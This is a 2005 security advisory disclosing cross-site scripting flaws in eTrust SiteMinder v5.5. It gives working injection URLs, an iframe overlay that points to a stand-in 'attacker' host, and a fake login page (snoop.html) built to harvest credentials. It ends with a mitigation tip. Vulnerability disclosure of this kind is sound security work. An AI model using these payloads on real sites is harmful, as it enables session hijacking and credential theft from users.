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/*
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$ An open security advisory #10 - Siteminder v5.5 Vulnerabilities
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1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com
2: Bug Released: July 08 2005
3: Bug Impact Rate: Medium / Hi
4: Bug Scope Rate: Remote
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$ This advisory and/or proof of concept code must not be used for
commercial gain.
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Siteminder
http://www3.ca.com/Solutions/Product.asp?ID=5262
"eTrust™ SiteMinder(r) is a market-leading, security and management
foundation for enterprise
Web applications with a centralized security infrastructure for
managing user authentication and
access. eTrust SiteMinder delivers the market's most advanced
security management capabilities
and enterprise-class site administration, reducing overall IT
operational cost and complexity.
eTrust SiteMinder enables the secure delivery of essential
information and applications to
employees, partners, suppliers and customers, and scales with
growing business needs.."
Siteminder is vulnerable to XSS whereby a user can tag HTML or
javascript on to various locations
in a URL or input field and have the script run in the local users
browser. This can be used to
perform phishing attacks, hijack users browser sessions or user
account information by redrawing
the login page of a site.
http://vuln/siteminderagent/pwcgi/smpwservicescgi.exe?SMAUTHREASON=0&TARGET=&
USERNAME=hacker&PASSWORD="><script>alert(document.
cookie)</script>&BUFFER=">
<script>alert("Vulnerable")</script>
The following link will abuse the URL option by first logging the
user out of the site with a
timeout error, due to the fact that we send her off to another HTTPS
site, taking the user back
to the login page. Next, we open an IFRAME over the original login
fields with malicious Username
and Password input fields, whereby a user will then supply their
login details to a malicious site,
to be later harvested and used in an attack.
http://site.com/siteminderagent/forms/login.fcc?TYPE=1&REALMOID=01-000000000-
000000-0010-
0000-0000000000000&GUID=&SMAUTHREASON=32&TARGET=http://site.com/servlet/yum/eat/
user.html"><iframe bgcolor="white" src="https://attacker/snoop.html"
style="position: absolute;
top: 270px; left: 15 px;"></iframe><iframe
src="https://attacker/snoop.html" style="position:
absolute; top: 270px; left: 15 px;"></iframe>
To test if you are vulnerable to this issue, you can tag the
following on to the end of a
siteminder URL. If it is successful, you should see the Google
homepage within an IFRAME.
"><iframe bgcolor="white" src="http://www.google.com"
style="position: absolute; top: 270px;
left: 15 px;"></iframe><iframe src="http://www.google.com"
style="position: absolute; top:
270px; left: 15 px;"></iframe>
/* snoop.html */
<html>
</head></head>
<body>
<form>
User ID
<input type="text" name="UserID">
<br>
Password:
<input type="text" name="Password">
<input type="submit" value="Submit">
</form>
</body>
</html>
I have contacted Netegrity via ca.com multiple times but received no
response, as such, users
should use a filtering technology like modsecurity to detect the
above descibed attacks until
a fix has been released.
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